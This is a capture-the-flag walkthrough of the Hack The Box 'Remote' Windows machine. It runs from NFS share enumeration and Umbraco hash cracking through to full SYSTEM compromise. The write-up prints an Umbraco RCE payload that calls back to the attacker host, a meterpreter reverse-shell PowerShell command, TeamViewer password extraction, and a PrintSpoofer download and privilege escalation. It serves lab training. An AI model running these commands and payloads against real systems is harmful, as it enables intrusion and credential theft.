
Enumeration
Nmap
The Nmap scan shows the target is running Windows and has several common services available on their usual ports, including a web server, SMB, FTP, and NFS. It also highlights that the FTP service is open to anonymous logins.
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.172 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.230.172 -v -oN nmap_tcp
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nlockmgr 1-4 (RPC #100021)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-09-07T22:18:50
|_ start_date: N/A
|_clock-skew: 1h01m12s
Port 2049 should normally display mountd, but in this case it appears as nlockmgr instead.
FTP
We can attempt to access the FTP service using the credentials anonymous with a blank password.
┌──(kali㉿kali)-[~/Remote]
└─$ ftp 10.129.230.172
Connected to 10.129.230.172.
220 Microsoft FTP Service
Name (10.129.230.172:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49691|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls -al
229 Entering Extended Passive Mode (|||49692|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp>
As there are no files available, we can set this service aside for the time being.
Web
Navigating to port 80 brings up an online store.

The intranet page looks noteworthy, but there isn’t much content on it. We’ll move on to checking for other files and directories hosted on the server by running Gobuster.
Gobuster
┌──(kali㉿kali)-[~/Remote]
└─$ gobuster dir -u http://10.129.230.172/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.230.172/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about-us (Status: 200) [Size: 5441]
/blog (Status: 200) [Size: 5001]
/Blog (Status: 200) [Size: 5001]
/contact (Status: 200) [Size: 7880]
/Contact (Status: 200) [Size: 7880]
/home (Status: 200) [Size: 6703]
/Home (Status: 200) [Size: 6703]
/install (Status: 302) [Size: 126] [--> /umbraco/]
/intranet (Status: 200) [Size: 3323]
/master (Status: 500) [Size: 3420]
/people (Status: 200) [Size: 6739]
/People (Status: 200) [Size: 6739]
/person (Status: 200) [Size: 2741]
/product (Status: 500) [Size: 3420]
/products (Status: 200) [Size: 5328]
/Products (Status: 200) [Size: 5328]
/umbraco (Status: 200) [Size: 4040]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
Gobuster results show the presence of an umbraco directory. We’ll navigate to it next.

The site’s logo and page title indicate that it is running Umbraco CMS. Initial attempts to log in with common default credentials like admin:admin, admin:test, administrator:password, admin:password, and root:password were unsuccessful.
NFS
We can identify available NFS shares with the showmount tool. To do this, we’ll first install it by running the following command.
sudo apt install nfs-common
At this stage, we’re able to list the directories being exported over NFS.
┌──(kali㉿kali)-[~/Remote]
└─$ showmount -e 10.129.230.172
Export list for 10.129.230.172:
/site_backups (everyone)
The site_backups directory is openly accessible. We’ll go ahead and mount it onto our own system.
┌──(kali㉿kali)-[~/Remote]
└─$ mkdir /tmp/backups
┌──(kali㉿kali)-[~/Remote]
└─$ sudo mount -t nfs 10.129.230.172:/site_backups /tmp/backups/
Viewing the contents shows an Umbraco subfolder.
┌──(kali㉿kali)-[/tmp/backups]
└─$ ls -al
total 119
drwx------ 2 nobody nogroup 4096 Feb 24 2020 .
drwxrwxrwt 19 root root 440 Sep 8 10:11 ..
drwx------ 2 nobody nogroup 64 Feb 21 2020 App_Browsers
drwx------ 2 nobody nogroup 4096 Feb 21 2020 App_Data
drwx------ 2 nobody nogroup 4096 Feb 21 2020 App_Plugins
drwx------ 2 nobody nogroup 64 Feb 21 2020 aspnet_client
drwx------ 2 nobody nogroup 49152 Feb 21 2020 bin
drwx------ 2 nobody nogroup 8192 Feb 21 2020 Config
drwx------ 2 nobody nogroup 64 Feb 21 2020 css
-rwx------ 1 nobody nogroup 152 Nov 2 2018 default.aspx
-rwx------ 1 nobody nogroup 89 Nov 2 2018 Global.asax
drwx------ 2 nobody nogroup 4096 Feb 21 2020 Media
drwx------ 2 nobody nogroup 64 Feb 21 2020 scripts
drwx------ 2 nobody nogroup 8192 Feb 21 2020 Umbraco
drwx------ 2 nobody nogroup 4096 Feb 21 2020 Umbraco_Client
drwx------ 2 nobody nogroup 4096 Feb 21 2020 Views
-rwx------ 1 nobody nogroup 28539 Feb 20 2020 Web.config
Research on Umbraco shows that user credentials are kept in the Umbraco.sdf file inside the App_Data folder. We’ll examine this file to see if it contains admin account details.
┌──(kali㉿kali)-[/tmp/backups/App_Data]
└─$ strings Umbraco.sdf | grep admin
<SNIP>
adminadmin@htb.localb8be<SNIP>2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
<SNIP>
This exposes the username admin@htb.local
along with a SHA1 password hash, which can be cracked using John The Ripper.
┌──(kali㉿kali)-[~/Remote]
└─$ john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt
<SNIP>
ba<SNIP>se (?)
<SNIP>
Session completed.
Foothold
Using the admin@htb.local
credentials, we’re able to sign in to Umbraco CMS. By selecting the Help icon in the lower-left corner, we can see that the instance is running version 7.12.4.

This version is vulnerable to an authenticated remote code execution, and a public exploit exists for it. We’ll download the exploit and update it with the login credentials shown below.
┌──(kali㉿kali)-[~/Remote]
└─$ searchsploit Umbraco
<SNIP>
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/46153.py
<SNIP>
┌──(kali㉿kali)-[~/Remote]
└─$ searchsploit -m 46153
Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/46153
Path: /usr/share/exploitdb/exploits/aspx/webapps/46153.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Remote/46153.py
<SNIP>
login = "admin@htb.local";
password= "ba<SNIP>se";
host = "http://10.129.230.172";
To confirm the vulnerability, we can adjust the payload so it makes a web request back to our server, for example with wget 10.10.16.141/rce
. In PowerShell, the command Invoke-WebRequest
can also be called using the aliases iwr, wget, or curl.
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "wget 10.10.16.141/rce"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
The next step is to start a listener on port 80 and then execute the exploit.
┌──(kali㉿kali)-[~/Remote]
└─$ python3 46153.py
Start
[]
End
┌──(kali㉿kali)-[~/Remote]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.230.172 - - [08/Sep/2025 10:38:00] code 404, message File not found
10.129.230.172 - - [08/Sep/2025 10:38:00] "GET /rce HTTP/1.1" 404 -
A request comes through to our web server, confirming the CMS is indeed vulnerable. From here, we can leverage Metasploit’s web_delivery module to generate a PowerShell payload that will give us a reverse shell.
msfconsole -q
use exploit/multi/script/web_delivery
set RHOSTS 10.129.230.172
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.141
set target 2
run
msf exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 10.10.16.141:4444
[*] Using URL: http://10.10.16.141:8080/0gtdZT3
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBO<SNIP>ADsA
We’ll update the script to include the updated payload.
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "-nop -w hidden -e WwBO<SNIP>ADsA"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
Upon running the exploit, we receive a meterpreter shell.
5[*] 10.129.230.172 web_delivery - Delivering AMSI Bypass (1389 bytes)
[*] 10.129.230.172 web_delivery - Delivering Payload (3742 bytes)
[*] Sending stage (203846 bytes) to 10.129.230.172
[*] Meterpreter session 1 opened (10.10.16.141:4444 -> 10.129.230.172:49708) at 2025-09-08 10:45:01 +1200
We can take control of the session with the command sessions -i 1
. This shows that the shell is running as iis apppool\defaultapppool.
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 3992 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
The user flag can be found in the C:\Users\Public
folder.
C:\Users\Public\Desktop>type user.txt
type user.txt
9d90<SNIP>6368
Privilege Escalation
With an initial foothold established, we can begin host enumeration. A review of the active services shows that TeamViewer is running.
PS C:\Users\Public> tasklist /svc
tasklist /svc
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 88 N/A
smss.exe 292 N/A
csrss.exe 368 N/A
<SNIP>
TeamViewer_Service.exe 2308 TeamViewer7
<SNIP>
The service details indicate it’s TeamViewer 7, which we can verify through PowerShell.
PS C:\Users\Public> (Get-Command "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer.exe").version
(Get-Command "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer.exe").version
Major Minor Build Revision
----- ----- ----- --------
7 0 0 0
This confirms that TeamViewer 7 is present on the host, which is affected by CVE-2019-18988.
In this vulnerable release, AES-128-CBC encrypted user passwords are stored in the Windows registry, protected with the known keys 0602000000a400005253413100040000
and 0100010067244F436E6762F25EA8D704
.
We’ll background the current session and use Metasploit’s teamViewer_passwords module to extract the credentials. Since I ran into errors with this module on my local Kali machine, I switched over to HTB’s Pwnbox environment instead.
(Meterpreter 1)(c:\windows\system32\inetsrv) > background
[*] Backgrounding session 1...
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >> use /post/windows/gather/credentials/teamviewer_passwords
[msf](Jobs:1 Agents:1) post(windows/gather/credentials/teamviewer_passwords) >> set SESSION 1
SESSION => 1
[msf](Jobs:1 Agents:1) post(windows/gather/credentials/teamviewer_passwords) >> run
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R<SNIP>e!
[+] Passwords stored in: /home/knuckl3s/.msf4/loot/20250907182849_default_10.129.230.172_host.teamviewer__371124.txt
[*] <---------------- | Using Window Technique | ---------------->
[*] TeamViewer's language setting options are ''
[*] TeamViewer's version is ''
[-] Unable to find TeamViewer's process
[*] Post module execution completed
The module successfully retrieves the password. On its own, the TeamViewer password doesn’t grant elevated privileges. However, there’s a chance the same password has been reused for a higher-privileged account, such as the local administrator. We can test this by carrying out a password spray with crackmapexec.
└──╼ [★]$ crackmapexec smb 10.129.230.172 -u Administrator -p '!R<SNIP>e!'
SMB 10.129.230.172 445 REMOTE [*] Windows 10 / Server 2019 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False)
SMB 10.129.230.172 445 REMOTE [+] remote\Administrator:!R<SNIP>e! (Pwn3d!)
We can use psexec to obtain SYSTEM access.
└──╼ [★]$ psexec.py Administrator@10.129.230.172
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.129.230.172.....
[*] Found writable share ADMIN$
[*] Uploading file hTnWsVCH.exe
[*] Opening SVCManager on 10.129.230.172.....
[*] Creating service ikQb on 10.129.230.172.....
[*] Starting service ikQb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
This works, giving us access to the root.txt
file located on the Administrator’s Desktop.
C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
6c81<SNIP>fa89b
Alternate Method
Reviewing the current user’s privileges shows that SeImpersonatePrivilege is enabled.
PS C:\Users\Public> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
With the PrintSpoofer exploit, the impersonation privilege can be leveraged to escalate and obtain SYSTEM access on the server. Go ahead and download, then transfer the exploit to the target.
PS C:\Users\Public> iwr -uri http://10.10.14.7:8000/PrintSpoofer.exe -Outfile PrintSpoofer.exe
iwr -uri http://10.10.14.7:8000/PrintSpoofer.exe -Outfile PrintSpoofer.exe
Run the exploit to obtain SYSTEM shell.
PS C:\Users\Public> .\PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system